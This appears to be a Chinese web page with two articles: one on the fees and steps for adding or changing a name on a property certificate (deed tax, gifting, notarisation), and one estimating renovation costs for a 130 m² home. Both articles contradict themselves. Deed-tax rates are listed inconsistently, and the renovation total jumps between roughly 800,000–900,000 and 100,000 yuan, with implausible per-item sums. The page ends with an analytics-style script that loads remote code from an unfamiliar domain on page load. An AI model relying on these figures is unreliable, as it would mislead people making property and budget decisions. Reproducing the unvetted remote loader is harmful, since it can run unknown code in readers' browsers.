房产证名字费用需要多少？房产证改名字流程介绍

最近国家出台了房产证的相关法律，房屋必须要有房产证才能证明其产权，所以如今给房产加上自己的名字时间比较困难的事情，需要提供相应的产权证明才可以。除此以外，为房产证添加姓名还是需要缴纳一定费用的，国家针对房产中有一系列的规章制度，不管是添加姓名还是修改名字都有相应的流程。这里就为大家具体的介绍一下房产证改名字流程以及它所需要的费用。房产证名字费用如果是夫妻之间加名字或去名字，不收取契税。如果是加名字的，夫妻双方本人凭身份件、结婚证、房产证到房地产交易办证中心就可以办理。如果是去名字的，需要双方之间作出财产约定，并经过公证处公证后，才可以办理。父母子女之间加名字或去名字，都视为买卖，要收取契税。契税为1%、1.5%、3%。具体可以分为四种情况：家庭购买首套房，且面积在90平方米以下的，契税按1%征收;家庭购买首套房，面积在90平方米以上的，契税按2%征收;家庭非首次购买普通住宅的，契税为2%;购买非普通住宅的，契税为4%。工作人员还提醒说，市民如果想确定是否为家庭首套住房，可以携带身份件、结婚证、户口簿及其他相关证件到该中心大厅一号窗口查档。房产证改名字流程房产证更名种类一般情况下，房产证名字的变更主要分为直接添加、赠与、买卖。房产证更名流程之一直接添加直接添加房产证改名字在婚姻存续期间添加配偶姓名可以直接添加。如果在婚姻存续期间房产属于夫妻共同财产，就算是房产证上只写一个人的名字也算是两人的共同财产。因此在婚姻期间，这类情况如需办理房产证增名手续，只需携带结婚证、房屋两证、身份件原件及复印件到房产交易核心“变更登记”窗口办理即可。非婚姻存续期间：非婚期间房产证更名，不能直接添加配偶名字，只能以赠与的方式更名。房产证更名流程之二赠予赠与范畴包括非婚姻存续期间和亲戚朋友，即房产证上加子女、父母等亲属或朋友均可以赠与方式进行。以下是赠予的两种情况：有房有贷。一般房子贷款没有还清是不能更名的，若要更名有两种途径有两种途径，一是提前还清贷款，然后再进行更名。二是向银行申请，要求变更《借款合同》中的借款人和抵押人，获得银行批准后再到房管局办理相关更名手续。有房无贷，视做赠与。双方需要签订一份赠与合同，且赠与合同必须办理公证手续，公证费一般是赠与房屋价值的1%，除此之外还需要缴纳一定的个人所得税、契税等费用(直系亲属间赠与房产，免征营业税)。房产证的名字一定要明确，并且最好在第一次证明房产的时候，就把产权人确定下来，不然后期再次修改的时候就比较麻烦了，首先要符合国家规定改名字的条款，其次还要有相关的证件以及房屋合同等证明，最后还需要去相关部门办理，因此综合来讲，大家尽可能还是一次性明确产权，帮助大家划分好财产的归属，使房产证在法律上也可以受到对应的产权保护。

装修130平米房子大概费用是多少呢

买了新房，很多人都喜欢把房子好好装修，这样子生活在里面就会比较舒适。装修130平米房子大概费用是多少呢？结合现在的物价，以及水电这种一定不能在上面省钱的东西，还有考虑到装修材料，大概会需要八九十万块钱。首先我们来看一下房间的地板，在买地板时可以选择较大块的地砖，例如比较好的品牌的地砖打折之后大概就是七八十块钱，装修130平米房子大概费用就是1000块钱。之后我们可以算一下刷墙壁时需要的油漆的钱，这里我们可以选择评价比较好的多乐士，这种油漆对人体的刺激性比较小，装修130平米房子大概费用是两三千块钱。之后我们来算一下装修过程中需要的灯具，如果想要省钱就不需要买些比较复杂的灯，试样比较简单的灯不仅买着便宜，而且自己就可以装好，不需要请专门的装修工人来帮忙。另外对于过道里面的灯，不能因为想要省钱就不装，选用合适的灯可以让小过道显得更大一点，同时在晚上也会比较安全。这里灯具大概需要八个，以平均每个300来算，大概需要两千多块钱。紧接着就是房子里面的水电了，现在通常都会把水电嵌入到墙壁里面，这样不仅节省空间，而且也会比较安全，装修130平米的房子大概费用是两三千块钱，这里的钱是不能省的，毕竟安全是最重要的。最烧钱的部分就是家里的家具了，装修130平米房子的大概费用是多少呢，其实主要就是看各种家具需要花多少钱了，大家可以去各种品牌店淘一淘，很多店在不同的时候都会对展出来的样品有一些打折，例如电视柜我们就可以选择这种打折的。而家是用来住的，所以并不需要把它装修的多华丽，只要舒服就好了，所以家具也并不需要花很多的钱来买那些比较奢侈精致的样式。装修130平米房子大概费用是多少呢，如果觉得十万太贵，就要多多用心，不要让装修公司全程把控，要自己去不同商店里面看看。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();